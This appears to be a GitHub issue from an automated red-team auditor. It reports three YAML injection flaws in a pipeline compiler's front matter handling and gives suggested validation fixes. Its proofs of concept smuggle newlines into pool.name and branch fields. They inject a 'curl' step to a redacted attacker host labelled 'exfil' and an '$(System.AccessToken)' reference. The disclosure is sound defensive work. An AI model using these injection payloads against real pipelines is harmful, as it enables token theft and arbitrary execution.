Skip to content

πŸ”΄ Red Team Audit β€” High: Pool name YAML injection via unvalidated newlinesΒ #238

@github-actions

Description

@github-actions

πŸ”΄ Red Team Security Audit

Audit focus: Category A (Input Sanitization & Injection) β€” re-scan after template refactor
Severity: High

Findings

# Vulnerability Severity File(s) Exploitable?
1 Pool name YAML injection via newlines High src/compile/common.rs:1215-1258, src/data/base.yml:23,391,609 Yes β€” all 5 pipeline jobs
2 Schedule branches YAML injection via newlines Medium src/fuzzy_schedule.rs:697-700 Yes β€” breaks schedule YAML structure
3 Repository fields YAML injection via newlines Medium src/compile/common.rs:404-419 Yes β€” injects into resources block

Details

Finding 1: Pool Name YAML Injection (High)

Description: The pool.name front matter field passes through sanitize_config(), which explicitly preserves newline characters (\n, \r) for "safety". However, validate_front_matter_identity() only checks name, description, and triggers.pipeline.* for newlines β€” it never checks pool.name. As a result, a pool name containing embedded newlines is serialised verbatim into every job's unquoted YAML name: scalar:

    pool:
      name: \{\{ pool }}   # ← unquoted, newlines pass through

This affects all 5 generated jobs: PerformAgenticTask, AnalyzeSafeOutputs, ProcessSafeOutputs, SetupJob, and TeardownJob.

Attack vector: Set pool.name to a string containing \n followed by indented YAML. The injected content lands at the job level, allowing overrides of condition, timeoutInMinutes, variables, or β€” most critically β€” an extra steps: block.

Proof of concept (confirmed with cargo run -- compile):

---
name: "Steps Injection Test"
description: "Testing pool name with steps injection"
setup:
  - bash: echo "legitimate setup"
pool:
  name: "AZS-1ES-L-MMS-ubuntu-22.04\n  steps:\n    - bash: curl (attacker.com/redacted)      displayName: exfil"
---

Compiled output (excerpt):

  - job: SetupJob
    pool:
      name: AZS-1ES-L-MMS-ubuntu-22.04
    steps:
      - bash: curl (attacker.com/redacted)   # ← injected
        displayName: exfil
    steps:
      - checkout: self                              # ← legitimate
      - bash: echo "legitimate setup"

  - job: PerformAgenticTask
    pool:
      name: AZS-1ES-L-MMS-ubuntu-22.04
    steps:
      - bash: curl (attacker.com/redacted)   # ← injected into AWF job

Highest-impact injection target β€” ProcessSafeOutputs: The write ADO token (SC_WRITE_TOKEN) is acquired inside this job. Injecting a steps: block before the legitimate steps provides arbitrary bash execution in the same job context as that token, enabling unauthorised Azure DevOps writes that bypass safe-output validation entirely.

SetupJob runs before AWF: The SetupJob has unrestricted network access (AWF is set up inside PerformAgenticTask). Injected steps there can freely exfiltrate secrets.

Impact: Arbitrary command execution in the pipeline runner context; access to the write ADO token; complete bypass of AWF network isolation for injected steps.

Suggested fix: Extend validate_front_matter_identity() in src/compile/common.rs to check pool.name for both newlines and ADO expressions, mirroring the existing checks for name/description:

if let Some(ref pool) = front_matter.pool {
    let pool_name = pool.name();
    if pool_name.contains("$\{\{") || pool_name.contains("$(") || pool_name.contains("$[") {
        anyhow::bail!("Front matter 'pool.name' contains an ADO expression ...");
    }
    if pool_name.contains('\n') || pool_name.contains('\r') {
        anyhow::bail!("Front matter 'pool.name' must be a single line ...");
    }
}

Finding 2: Schedule Branches YAML Injection (Medium)

Description: schedule.branches[] entries are sanitised with sanitize_config() (newlines preserved) and are not validated by validate_front_matter_identity(). They are embedded verbatim into the schedule YAML as - <branch> items.

Proof of concept:

schedule:
  run: "daily around 14:00"
  branches:
    - "main"
    - "feat/foo\n    - $(System.AccessToken)"

Compiled output:

    branches:
      include:
        - main
        - feat/foo
    - $(System.AccessToken)   # ← breaks YAML structure
    always: true

Impact: Malformed schedule YAML (ADO parse error disables the pipeline trigger), or injection of spurious ADO expressions into the trigger configuration.

Suggested fix: Validate schedule.branches entries for newlines in validate_front_matter_identity() (same pattern as triggers.pipeline.branches).


Finding 3: Repository Fields YAML Injection (Medium)

Description: generate_repositories() in src/compile/common.rs (lines 404–419) embeds repository, type, name, and ref fields unquoted into the \{\{ repositories }} YAML block without checking for newlines. These fields are sanitised with sanitize_config() but not validated for \n.

format!(
    "- repository: {}\n  type: {}\n  name: {}\n  ref: {}",
    repo.repository, repo.repo_type, repo.name, repo.repo_ref
)

Suggested fix: Validate repository fields and checkout[] entries for newlines in validate_front_matter_identity().


Root cause

sanitize_config() intentionally preserves \n/\r (comment: "preserve newline, tab, and carriage return"). This is appropriate for content strings, but for fields that are interpolated into unquoted YAML scalars it opens a structural injection channel. The fix is validation at compile time, not a change to sanitize_config.


Audit Coverage

Category Status
A: Input Sanitization & Injection βœ… Scanned β€” new findings above
B: Path Traversal & File System βœ… Scanned β€” no vulnerabilities
C: Network & Domain Allowlist Bypass βœ… Scanned β€” no vulnerabilities
D: Credential & Secret Exposure βœ… Scanned β€” token handling correct
E: Logic & Authorization Flaws βœ… Scanned β€” budget/allowlist enforcement correct
F: Supply Chain & Dependency Integrity βœ… Scanned β€” see issue #209 for open items

This issue was created by the automated red team security auditor.

Generated by Red Team Security Auditor Β· ● 2.8M Β· β—·

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions